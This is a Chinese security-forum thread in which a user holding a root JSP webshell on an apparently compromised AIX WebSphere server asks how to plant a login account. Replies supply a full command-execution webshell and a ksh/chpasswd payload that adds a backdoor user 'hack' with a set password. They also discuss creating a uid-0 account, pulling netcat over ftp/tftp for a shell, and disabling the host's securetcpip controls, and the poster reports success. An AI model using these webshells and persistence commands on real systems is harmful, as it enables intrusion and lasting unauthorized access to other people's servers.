[讨论]AIX主机root权限的webshell怎么添加用户
议题作者:28度的冰信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
[code]id[/code]
[quote]uid=0(root) gid=0(system) groups=2(bin),3(sys),7(security),8(cron),10(audit),11(lp),201(dba)[/quote]
useradd可以添加用户,可是passwd需要交互界面才行啊。
本来想用NC回一个shell,可是发现AIX没有wget
[code]which wget[/code]
[code]no wget in /usr/WebSphere/AppServer/java/bin /usr/WebSphere/AppServer/java/jre/bin。。。后面略去[/code]
我想到用ftp -s,可是发现AIX下的ftp没有-s参数。
nc就上不去了啊。
我考虑过上传一个nc,再给他chmod,可是事实是,我上传上去根本不知道文件在哪里。在shell里面pwd显示的是/,ls列出来的也是根目录下的东西。
用了一个jsp探针,看到
[code]javax.servlet.context.tempdir /usr/WebSphere/AppServer/temp/was/bjtu/bjtu/bjtu.war [/code]
我怎样才能给加上的用户设密码呢?或者怎么得到一个交互的界面。
————
目前的情况是:已经用cnqing在16楼所说的方法加上了用户,但是,还剩下两个问题没有解决:
1.如何将添加上的用户ice改成root权限,或者说如何添加root权限用户。在FC和RedHat中可以有两个方法a.useradd -u 0 -o -g 0 youname 可是AIX中没有-o参数;b.修改/etc/passwd,将uid改成0。
2.为什么我上传的很多的jsp的webshell都不能正常的解析,只有最简单的webshell可以解析。 直接改/etc/passwd 和 shadow 嗯,我以前在一台RedHat主机上尝试过,但是添加在passwd和shadow中各添加一行了之后还是登录不了。这台AIX的机子只弄到一个执行命令的webshell,尝试这种方法也不方便。
对于RedHat和FC,我倒是查到一个办法比较适用
useradd 28ice; echo 'mima' | passwd --stdin 28ice
用户名为28ice,密码为mima的用户就上了。
可是aix里面的passwd没有--stdin参数,哎。 1.useradd hack
2.echo hack:passwd>pwdfile
3.cat pwdfile | chpasswd
如果需要第四步
4.chpasswd -c ls的方法不行啊,
添加一个hack密码passwd的用户?
登录不了。似乎在第二步有问题。 cd /tmp
ftp 10.1.0.88
username: swan
password: 123456
登录后, 直接
get nc.zip
unzip nc.zip
ftp 传输文件, 不需要s选项的. 可是关键的问题是我现在只有一个webshell啊,不能执行交互的命令。 你echo输出不行?
把你的web shell代码发来看。 [code]<FORM METHOD=GET ACTION='shell.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>[/code] 用
shell.jsp?cmd=echo+hack:passwd+>pwdfile 哈哈 有点看不懂啊 to cnqing.
1.我没有完全明白
echo hack:passwd >pwdfile
cat pwdfile | chpasswd的意义,
2.应该不是echo 的问题,难道是AIX有一个的特殊性?AIX里面的有些命令和FC不一样,是不是这个原因? fc和aix差太多
aix只有这个命令可以不需要交互批量修改用户密码,限于root运行。
java的getruntime 得到的也只是jvm的运行环境。
exec不是用户sh解释器,这个方法有重构,更多的用法是:
string[] cmd={"user","add"};
exec(cmd);之类
你先确定你的pwdfile文件是否正确为 user:passwd 格式。
应该问题出在管道符上,至于怎么解决我也没这样的webshell环境测试,不能说出绝对正确的方法。好象你现在都没上传的方法吧,
有上传的话给你写个shell用。
关于chpasswd,man有如下内容:
To set passwords for users contained in a file named mypwdfile,
type the following:
cat mypwdfile | chpasswd
Note that mypwdfile must contain username:password pairs; one pair
per line. For example:
user1:passwd1
user2:passwd2 脚本,脚本.... 1、你可以尝试用tftp
2、ftp+.netrc UNIX不带s参数,但可以支持.netrc宏
3、尝试启动他的tftpd、telnetd
4、在他的服务器上构建一个跟你的Linux一个证书认证,然后使用rcp
在AIX Unix中,以上的所有命令都会被一个安全机制控制 securetcpip
你最好抓取/etc/security/config 看一下,先搞掉他的securetcpip
你已经有root,这已经证明可以做任何事情。你可以把很多命令,条件判断等,写入到一个Shell中执行,在Unix不需要交互仍然可以做所有的事情 Helvin的帖子我还要细细消化,感觉都可以尝试,在这里先感谢。
to cnqing
[quote]好象你现在都没上传的方法吧[/quote]
原谅我在这一点上没有说清楚,抱歉。
情况是这样的:
1.可上传任意文件,但是n个jspshell都报错,我估计有3种可能
1)shell编写者语法不规范(可不能都不规范啊...)
2)AIX主机的环境变量没有配好
3)AIX本身的特殊性
。只有这个最简单shell能用。
2.我上传上去的文件找不到在什么地方,在浏览器中倒是能访问,在jspshell里pwd是/,明显不可能,在探针里看是/usr/WebSphere/AppServer/temp/was/bjtu/bjtu/bjtu.war。感觉怪怪的。 先useradd hack
你传这个试试,若成功,首次登录要修改密码的。
<%@ page import="java.io.*" %>
<%
String[] cmd = { "/usr/bin/ksh", "-c", "echo hack:passwd | chpasswd" };
Process p = Runtime.getRuntime().exec(cmd);
%>
不行的话,你qq我的qq,论坛互动性太差了,练个短信都不能发。 已经解决。
看图:
现在QQ基本不用了,用MSN多一些。
此帖我学到了很多。 可憐的 小機,就這樣陂你搞定了。
N多人要找小機練手呢。
你玩兩天 就考222吧,槑 已解决怎么不把解决的方法说明下。到底是那种成功的! 解决办法就是cnqing16楼所说的办法啊
页:
[1]